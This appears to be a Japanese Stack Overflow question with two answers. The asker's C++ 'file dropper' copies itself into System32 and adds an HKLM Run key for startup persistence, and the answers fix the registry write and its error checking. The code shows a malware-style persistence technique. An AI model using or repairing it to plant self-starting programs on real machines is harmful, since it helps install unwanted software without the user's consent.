0

ファイルドロッパーを作成して起動時に起動しようとしましたが、正しく起動しますが、regeditを使用して上記のキーに移動すると表示されませんか? どうしたの?すべてのエラー コードは 0 を返します.....

#include <iostream>
#include <windows.h>
#include <Shlwapi.h>
using namespace std;
string RegistryKeyName = "testdropper.exe";

int main()
{
    std::string filename ="\\";
    char system[MAX_PATH];
    char pathtofile[MAX_PATH];
    memset(system, 0, MAX_PATH);
    memset(pathtofile, 0, MAX_PATH);


    //GET MODULE HANDLE OF CALLING PROGRAM I.E SERVER.EXE'S HANDLE
    HMODULE GetModH = GetModuleHandle(NULL);

cout << GetLastError();
    //GET PATH OF exe
    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));

    filename.append(PathFindFileNameA(pathtofile));

    //GET SYSTEM DIRECTORY LIKE SYSTEM32
    GetSystemDirectory(system,sizeof(system));

    //APPEND MY FILENAME AFTER THE SYSTEMDIRECTORY 
    strcat(system, filename.c_str());

    //COPY SERVER TO THE SYSTEM32 FOLDER
    CopyFile(pathtofile,system,false);

    //MAKE A REGISTRY KEY TO THE SYSTEM32FOLDER WITH SERVER.EXE TO RUN AT STARTUP
    HKEY hKey;

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

    RegSetValueEx(hKey, RegistryKeyName.c_str(),0,REG_SZ,(const BYTE*)system,sizeof(system));

    RegCloseKey(hKey);


     return 0;
}
4

2 に答える 2

2

... GetLastError はすべて 0 を返しますが

RegXxxAPI 関数は通常、 経由ではなく、戻り値で直接エラー コードを返しますGetLastError

HKLM を操作する際によくあるエラーは、不十分なアクセス権です。

于 2013-05-30T07:48:42.633 に答える
0

コードに 2 つのバグがあります。

  1. エラーをチェックしません。

  2. 文字列値を正しく記述していません。

これを試して:

long ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
if (ret != ERROR_SUCCESS)
{
    cout << "Unable to open key. Error " << ret;
}
else
{
    ret = RegSetValueEx(hKey, RegistryKeyName.c_str(), 0, REG_SZ, (const BYTE*) system, strlen(system)+1);
    if (ret != ERROR_SUCCESS)
        cout << "Unable to write to key. Error " << ret;

    RegCloseKey(hKey);
}
于 2013-05-30T08:08:04.290 に答える